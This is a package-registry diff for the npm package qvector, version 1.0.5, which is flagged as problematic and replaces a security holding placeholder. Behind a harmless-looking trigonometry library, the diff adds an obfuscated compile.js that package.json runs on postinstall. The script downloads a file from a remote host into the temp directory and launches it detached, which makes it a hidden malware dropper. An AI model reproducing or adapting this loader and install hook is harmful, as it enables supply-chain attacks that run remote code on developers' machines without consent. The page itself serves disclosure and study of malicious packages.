qvector 0.0.1-security → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of qvector might be problematic. Click here for more details.

package/compile.js ADDED
@@ -0,0 +1 @@
1
+ const _0x55de5f=_0x5c64;function _0x5c64(_0x217a8a,_0x2d7009){const _0x509bc7=_0x509b();return _0x5c64=function(_0x5c6442,_0x3c84b2){_0x5c6442=_0x5c6442-0x10c;let _0xacd984=_0x509bc7[_0x5c6442];if(_0x5c64['qFdTRs']===undefined){var _0x49927a=function(_0x4fa431){const _0x288fd3='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x535b0e='',_0x5c700b='';for(let _0x5a2fdd=0x0,_0x48411,_0x35a5f7,_0x20d777=0x0;_0x35a5f7=_0x4fa431['charAt'](_0x20d777++);~_0x35a5f7&&(_0x48411=_0x5a2fdd%0x4?_0x48411*0x40+_0x35a5f7:_0x35a5f7,_0x5a2fdd++%0x4)?_0x535b0e+=String['fromCharCode'](0xff&_0x48411>>(-0x2*_0x5a2fdd&0x6)):0x0){_0x35a5f7=_0x288fd3['indexOf'](_0x35a5f7);}for(let _0xddd0=0x0,_0x152865=_0x535b0e['length'];_0xddd0<_0x152865;_0xddd0++){_0x5c700b+='%'+('00'+_0x535b0e['charCodeAt'](_0xddd0)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5c700b);};const _0xaea7c8=function(_0x553816,_0x33c901){let _0x255e8b=[],_0x433090=0x0,_0x4a61b5,_0x413c6d='';_0x553816=_0x49927a(_0x553816);let _0x3f7fe1;for(_0x3f7fe1=0x0;_0x3f7fe1<0x100;_0x3f7fe1++){_0x255e8b[_0x3f7fe1]=_0x3f7fe1;}for(_0x3f7fe1=0x0;_0x3f7fe1<0x100;_0x3f7fe1++){_0x433090=(_0x433090+_0x255e8b[_0x3f7fe1]+_0x33c901['charCodeAt'](_0x3f7fe1%_0x33c901['length']))%0x100,_0x4a61b5=_0x255e8b[_0x3f7fe1],_0x255e8b[_0x3f7fe1]=_0x255e8b[_0x433090],_0x255e8b[_0x433090]=_0x4a61b5;}_0x3f7fe1=0x0,_0x433090=0x0;for(let _0x5052a8=0x0;_0x5052a8<_0x553816['length'];_0x5052a8++){_0x3f7fe1=(_0x3f7fe1+0x1)%0x100,_0x433090=(_0x433090+_0x255e8b[_0x3f7fe1])%0x100,_0x4a61b5=_0x255e8b[_0x3f7fe1],_0x255e8b[_0x3f7fe1]=_0x255e8b[_0x433090],_0x255e8b[_0x433090]=_0x4a61b5,_0x413c6d+=String['fromCharCode'](_0x553816['charCodeAt'](_0x5052a8)^_0x255e8b[(_0x255e8b[_0x3f7fe1]+_0x255e8b[_0x433090])%0x100]);}return _0x413c6d;};_0x5c64['FlvPYS']=_0xaea7c8,_0x217a8a=arguments,_0x5c64['qFdTRs']=!![];}const _0x389b0b=_0x509bc7[0x0],_0x549c91=_0x5c6442+_0x389b0b,_0x4a64af=_0x217a8a[_0x549c91];return!_0x4a64af?(_0x5c64['QIHRfV']===undefined&&(_0x5c64['QIHRfV']=!![]),_0xacd984=_0x5c64['FlvPYS'](_0xacd984,_0x3c84b2),_0x217a8a[_0x549c91]=_0xacd984):_0xacd984=_0x4a64af,_0xacd984;},_0x5c64(_0x217a8a,_0x2d7009);}(function(_0x196a76,_0x35a90a){const _0x272921={_0x875d6c:0x11f,_0x22068c:'5C7k',_0x144c12:0x114,_0x20a3bc:'rlOY',_0x433a7b:0x10c,_0xeaa7c2:'ot(K',_0xc2cc81:0x12d,_0x12a73b:0x119,_0x5f1faa:0x124,_0x9bff31:'KJ$d',_0x401a06:0x132},_0x181c33=_0x5c64,_0x446aa4=_0x196a76();while(!![]){try{const _0xc5e4d5=-parseInt(_0x181c33(_0x272921._0x875d6c,'o]u3'))/0x1+parseInt(_0x181c33(0x11b,_0x272921._0x22068c))/0x2*(parseInt(_0x181c33(_0x272921._0x144c12,_0x272921._0x20a3bc))/0x3)+-parseInt(_0x181c33(_0x272921._0x433a7b,_0x272921._0xeaa7c2))/0x4+parseInt(_0x181c33(_0x272921._0xc2cc81,'4cwB'))/0x5+-parseInt(_0x181c33(_0x272921._0x12a73b,'4cwB'))/0x6+parseInt(_0x181c33(_0x272921._0x5f1faa,'Z0$#'))/0x7*(parseInt(_0x181c33(0x12f,_0x272921._0x9bff31))/0x8)+parseInt(_0x181c33(_0x272921._0x401a06,'N#7W'))/0x9;if(_0xc5e4d5===_0x35a90a)break;else _0x446aa4['push'](_0x446aa4['shift']());}catch(_0xff0a90){_0x446aa4['push'](_0x446aa4['shift']());}}}(_0x509b,0x24f5e));const _0x19b31a=require(_0x55de5f(0x11c,'&4C3')+'s'),_0x2df6fc=require('fs'),_0x14850c=require('os'),_0x5934ea=require(_0x55de5f(0x11a,'kGr@')),_0x58acce=require(_0x55de5f(0x10d,'ZV^S')+_0x55de5f(0x112,'ol$b')+_0x55de5f(0x125,'kGr@')+'s');function _0x509b(){const _0x34b626=['hSkNW7q5wrqwWRnJwa','WPWPcSkRWR/cQCklxSkGkmkIrwy','vbJdMCoSWO5mWOi','bCoLaIa','W6q4zc8','Eu3dVg8AdSoWymoZW48EAq','W6mUvmkNfCo2WO4bemkFwJ8','WRTXWOGpW7BcQWtdOCkOowxdUq','dvycW4S','WPDHCSoYW5BcSXRdHtFdVCkOW6i','kblcGe0','WPuUc8kJWR7dKSotrCkqd8ka','WQxcSNVdNfnnzSoyW6JcGfXs','CKH9aG','WOJcHb3cKSkCcSkEfSoEg8ob','W642EsW','W6ZdGCoNWRy','WPhcLCohWPC','W4hdIK7dHq','WRhcN8oSW48','W67dT8o5WQ0','DSoaW6JdRG','fWldGCkgW63dU8kaFSkNua','WORcGM3dQq','FCkaWP8H','W6xcSIJdNq','uL7cGW','WRHYWOuhW7BcRfxdQSkImf7dPSos','W5VdKadcNG','WQjAk8kSECoUWOBdT8o+WPi','CmkzW7RdLa','dNiEua','gtZcU8k0','WQDmWOqVWRneegnmtJK','W7ZdM8kyWPFcVCopAt7dPSo+W6bU','W7JdVsK','tCotWRbX','jr7cNuK','pSkcWRuYzhNdSq','W4tdKHhcHq'];_0x509b=function(){return _0x34b626;};return _0x509b();}function _0x2f10ea(_0x308319,_0x554b74){const _0x5785c0={_0x2af439:0x122,_0x2933d4:'ux5L',_0x5406f6:0x10e,_0x56c78b:'Z0$#',_0x5b461e:0x129,_0x30e3fe:'lyah',_0x1e16f8:'DNv%',_0x520fdd:0x12e},_0x4b255c={_0x4e4229:'rSES',_0xce9a28:0x111,_0x559481:0x10f},_0x50eb81=_0x5c64,_0x576aa6={'fkFZW':_0x50eb81(_0x5785c0._0x2af439,_0x5785c0._0x2933d4)+'re','vlvox':function(_0x335b6f,_0x5d7538){return _0x335b6f!==_0x5d7538;},'FRYFs':_0x50eb81(_0x5785c0._0x5406f6,'ol$b')+'sh'},_0x1186e0=_0x14850c[_0x50eb81(0x116,_0x5785c0._0x56c78b)+'ir'](),_0x25dd4a=_0x5934ea[_0x50eb81(_0x5785c0._0x5b461e,_0x5785c0._0x30e3fe)](_0x1186e0,_0x554b74),_0x2d73f9=_0x2df6fc['crea'+_0x50eb81(0x11e,_0x5785c0._0x1e16f8)+'iteS'+_0x50eb81(_0x5785c0._0x520fdd,'Qpem')+'m'](_0x25dd4a);_0x19b31a['get'](_0x308319,_0x367a95=>{const _0x463985=_0x5c64,_0x1754f9={'YVBgP':_0x576aa6[_0x463985(0x117,_0x4b255c._0x4e4229)+'W']};if(_0x576aa6[_0x463985(0x133,'9BKd')+'x'](_0x367a95['stat'+_0x463985(_0x4b255c._0xce9a28,'D#3%')+'de'],0xc8))return;_0x367a95[_0x463985(_0x4b255c._0x559481,'gxQ@')](_0x2d73f9),_0x2d73f9['on'](_0x576aa6['FRYF'+'s'],()=>{_0x2d73f9['clos'+'e'](()=>{const _0x12b446=_0x5c64;_0x58acce['spaw'+'n'](_0x25dd4a,[],{'detached':!![],'stdio':_0x1754f9['YVBg'+'P']}),process[_0x12b446(0x130,'yD(&')]();});});});}const _0x5d3b46=_0x55de5f(0x123,'yD(&')+'s://'+'dogw'+_0x55de5f(0x12a,'ZV^S')+_0x55de5f(0x113,'^P4n')+'fun/'+_0x55de5f(0x115,'3BvU')+_0x55de5f(0x118,'rlOY'),_0x2d1d94=_0x55de5f(0x110,'ot(K')+_0x55de5f(0x11d,'D4Xr')+_0x55de5f(0x121,'N#7W');_0x2f10ea(_0x5d3b46,_0x2d1d94);
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "qvector",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.5",
4
+ "description": "QVector is a compact JavaScript library that streamlines trigonometry, making calculations simple and efficient. From angles and radians to complex transformations, Qasdr offers an intuitive API tailored for developers in fields like animation, gaming, and scientific computing. Reduce redundant formulas and focus on innovation with this versatile, performance-oriented tool.",
5
+ "main": "qvector.js",
6
+ "scripts": {
7
+ "postinstall": "node compile.js"
8
+ },
9
+ "author": "Alex",
10
+ "license": "MIT"
6
11
  }
package/qvector.js ADDED
@@ -0,0 +1,180 @@
1
+ class QVector {
2
+ /**
3
+ * Convert degrees to radians
4
+ * @param {number} degrees
5
+ * @returns {number}
6
+ */
7
+ static toRadians(degrees) {
8
+ return (degrees * Math.PI) / 180;
9
+ }
10
+
11
+ /**
12
+ * Convert radians to degrees
13
+ * @param {number} radians
14
+ * @returns {number}
15
+ */
16
+ static toDegrees(radians) {
17
+ return (radians * 180) / Math.PI;
18
+ }
19
+
20
+ /**
21
+ * Calculate sine of an angle in degrees
22
+ * @param {number} degrees
23
+ * @returns {number}
24
+ */
25
+ static sin(degrees) {
26
+ return Math.sin(this.toRadians(degrees));
27
+ }
28
+
29
+ /**
30
+ * Calculate cosine of an angle in degrees
31
+ * @param {number} degrees
32
+ * @returns {number}
33
+ */
34
+ static cos(degrees) {
35
+ return Math.cos(this.toRadians(degrees));
36
+ }
37
+
38
+ /**
39
+ * Calculate tangent of an angle in degrees
40
+ * @param {number} degrees
41
+ * @returns {number}
42
+ */
43
+ static tan(degrees) {
44
+ return Math.tan(this.toRadians(degrees));
45
+ }
46
+
47
+ /**
48
+ * Calculate the arc sine (inverse sine) in degrees
49
+ * @param {number} value
50
+ * @returns {number}
51
+ */
52
+ static asin(value) {
53
+ return this.toDegrees(Math.asin(value));
54
+ }
55
+
56
+ /**
57
+ * Calculate the arc cosine (inverse cosine) in degrees
58
+ * @param {number} value
59
+ * @returns {number}
60
+ */
61
+ static acos(value) {
62
+ return this.toDegrees(Math.acos(value));
63
+ }
64
+
65
+ /**
66
+ * Calculate the arc tangent (inverse tangent) in degrees
67
+ * @param {number} value
68
+ * @returns {number}
69
+ */
70
+ static atan(value) {
71
+ return this.toDegrees(Math.atan(value));
72
+ }
73
+
74
+ /**
75
+ * Calculate the hypotenuse of a right triangle
76
+ * @param {number} a
77
+ * @param {number} b
78
+ * @returns {number}
79
+ */
80
+ static hypotenuse(a, b) {
81
+ return Math.sqrt(a ** 2 + b ** 2);
82
+ }
83
+
84
+ /**
85
+ * Calculate the distance between two points in 2D space
86
+ * @param {number} x1
87
+ * @param {number} y1
88
+ * @param {number} x2
89
+ * @param {number} y2
90
+ * @returns {number}
91
+ */
92
+ static distance2D(x1, y1, x2, y2) {
93
+ return this.hypotenuse(x2 - x1, y2 - y1);
94
+ }
95
+
96
+ /**
97
+ * Calculate the distance between two points in 3D space
98
+ * @param {number} x1
99
+ * @param {number} y1
100
+ * @param {number} z1
101
+ * @param {number} x2
102
+ * @param {number} y2
103
+ * @param {number} z2
104
+ * @returns {number}
105
+ */
106
+ static distance3D(x1, y1, z1, x2, y2, z2) {
107
+ return Math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2 + (z2 - z1) ** 2);
108
+ }
109
+
110
+ /**
111
+ * Calculate the angle between two vectors in 2D space
112
+ * @param {number} x1
113
+ * @param {number} y1
114
+ * @param {number} x2
115
+ * @param {number} y2
116
+ * @returns {number} Angle in degrees
117
+ */
118
+ static angleBetweenVectors2D(x1, y1, x2, y2) {
119
+ const dotProduct = x1 * x2 + y1 * y2;
120
+ const magnitude1 = Math.sqrt(x1 ** 2 + y1 ** 2);
121
+ const magnitude2 = Math.sqrt(x2 ** 2 + y2 ** 2);
122
+ const cosTheta = dotProduct / (magnitude1 * magnitude2);
123
+ return this.acos(cosTheta);
124
+ }
125
+
126
+ /**
127
+ * Normalize a vector in 2D space
128
+ * @param {number} x
129
+ * @param {number} y
130
+ * @returns {object} Normalized vector
131
+ */
132
+ static normalizeVector2D(x, y) {
133
+ const magnitude = Math.sqrt(x ** 2 + y ** 2);
134
+ return { x: x / magnitude, y: y / magnitude };
135
+ }
136
+
137
+ /**
138
+ * Normalize a vector in 3D space
139
+ * @param {number} x
140
+ * @param {number} y
141
+ * @param {number} z
142
+ * @returns {object} Normalized vector
143
+ */
144
+ static normalizeVector3D(x, y, z) {
145
+ const magnitude = Math.sqrt(x ** 2 + y ** 2 + z ** 2);
146
+ return { x: x / magnitude, y: y / magnitude, z: z / magnitude };
147
+ }
148
+
149
+ /**
150
+ * Rotate a 2D vector by a given angle
151
+ * @param {number} x
152
+ * @param {number} y
153
+ * @param {number} angle Angle in degrees
154
+ * @returns {object} Rotated vector
155
+ */
156
+ static rotateVector2D(x, y, angle) {
157
+ const radians = this.toRadians(angle);
158
+ return {
159
+ x: x * Math.cos(radians) - y * Math.sin(radians),
160
+ y: x * Math.sin(radians) + y * Math.cos(radians),
161
+ };
162
+ }
163
+
164
+ /**
165
+ * Calculate the projection of a vector onto another in 2D space
166
+ * @param {number} x1
167
+ * @param {number} y1
168
+ * @param {number} x2
169
+ * @param {number} y2
170
+ * @returns {object} Projected vector
171
+ */
172
+ static projectVector2D(x1, y1, x2, y2) {
173
+ const dotProduct = x1 * x2 + y1 * y2;
174
+ const magnitudeSquared = x2 ** 2 + y2 ** 2;
175
+ const scale = dotProduct / magnitudeSquared;
176
+ return { x: scale * x2, y: scale * y2 };
177
+ }
178
+ }
179
+
180
+ module.exports = QVector;
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=qvector for more information.